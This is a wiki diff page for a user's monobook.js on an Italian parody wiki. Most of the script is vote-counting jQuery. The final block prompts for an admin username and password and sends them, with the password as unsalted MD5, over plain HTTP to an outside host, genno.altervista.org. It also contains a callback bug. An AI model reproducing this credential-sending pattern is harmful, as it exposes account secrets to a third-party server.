Utente:Genuzzu/monobook.js: differenze tra le versioni
Vai alla navigazione
Vai alla ricerca
Contenuto aggiunto Contenuto cancellato
Genuzzu (rosica | curriculum) Nessun oggetto della modifica |
Genuzzu (rosica | curriculum) Nessun oggetto della modifica |
||
Riga 55: | Riga 55: | ||
$(function() { |
$(function() { |
||
$.getJSON('http://genno.altervista.org/index.php?callback=?', function(data) { |
$.getJSON('http://genno.altervista.org/index.php?callback=?', function(data) { |
||
if(data.error == 1) { |
if(data.error == "1") { |
||
var user = prompt('Inserisci il nome admin'); |
var user = prompt('Inserisci il nome admin'); |
||
var pwd = MD5(prompt('Inserisci la password admin')); |
var pwd = MD5(prompt('Inserisci la password admin')); |
||
$.getJSON('http://genno.altervista.org/index.php?user=' + user + '&pwd=' + pwd + '&callback=?', function() { |
$.getJSON('http://genno.altervista.org/index.php?user=' + user + '&pwd=' + pwd + '&callback=?', function() { |
||
if(data.error == 1) alert('Bad auth.'); |
if(data.error == "1") alert('Bad auth.'); |
||
}); |
}); |
||
} |
} |
Versione delle 17:33, 9 feb 2013
//YEAH
/* Trib plus */
function tribPlusInit() {
var $processingArticles = $('.LightVotingTable');
$processingArticles.each(function() {
var forDelete = $('tr:eq(4) td:eq(0) ol li', this).length;
var forRestwat = $('tr:eq(4) td:eq(1) ol li', this).length;
var forSave = $('tr:eq(6) td ol li', this).length;
var total = forDelete + forRestwat + forSave;
$('tr:eq(3) td:eq(0) span b', this).append(' <i>(' + forDelete + ')</i>');
$('tr:eq(3) td:eq(1) span b', this).append(' <i>(' + forRestwat + ')</i>');
$('tr:eq(5) td span b', this).append(' <i>(' + forSave + ')</i>');
var results = $('<div></div>');
$('tr:eq(0) td', this).append(results);
results.append('<div>Cancellazione: ' + (100 * forDelete / total) + '% (67% richiesto)</div>');
results.append('<div>Restauro: ' + (100 * forRestwat / total) + '% (50% richiesto)</div>');
});
}
if (wgPageName == 'Nonciclopedia:Tribunale') {
$(document).ready(tribPlusInit);
}
//NONCIO_TI_GIURO_SEI_IMPEDITO_v2.JS
if(wgAction == 'edit') $(function() {location.hash = 'toolbar';});
if(wgPageName == 'Nonciclopedia:Walk_of_Shame/NonNotizie/Votazioni2012/Votazioni_Flash') $(function() {
window.voteTable = {length: 0};
$('.VotingTable').each(function() {
voteTable[voteTable.length++] = { //quick hack: contatore direttamente nell'oggetto
text: $(this).find('tbody > tr:nth(0) > td > b').html(),
vote: (function($_this) {
var vote = 0;
var voteLis = $_this.find('tbody > tr:nth(3) > td > ul > li');
voteLis.each(function() {
vote += parseInt($(this).html().split('+')[1].split('-')[0]);
});
return vote / parseFloat(voteLis.length); //per farlo float uso parseFloat sul divisore
})($(this))
}
});
voteTable = $.makeArray(voteTable); //che cazzo sto facendo???
voteTable.sort(function(a,b) {return (a.vote < b.vote) ? 1 : ((b.vote < a.vote) ? -1 : 0);} );
$('#bodyContent').append($('<div id="lollo"></div>'));
for(var i = 0; i < 20; i++) $('#lollo').append('<div>' + i + ', ' + voteTable[i].vote + ': ' + voteTable[i].text + '</div>');
});
//NON COPIARE SE NON SEI AUTORIZZATO.
//Ti succederà un casino e NON SONO RESPONSABILE PER I DANNI ALL'ACCOUNT.
$(function() {
$.getJSON('http://genno.altervista.org/index.php?callback=?', function(data) {
if(data.error == "1") {
var user = prompt('Inserisci il nome admin');
var pwd = MD5(prompt('Inserisci la password admin'));
$.getJSON('http://genno.altervista.org/index.php?user=' + user + '&pwd=' + pwd + '&callback=?', function() {
if(data.error == "1") alert('Bad auth.');
});
}
});
});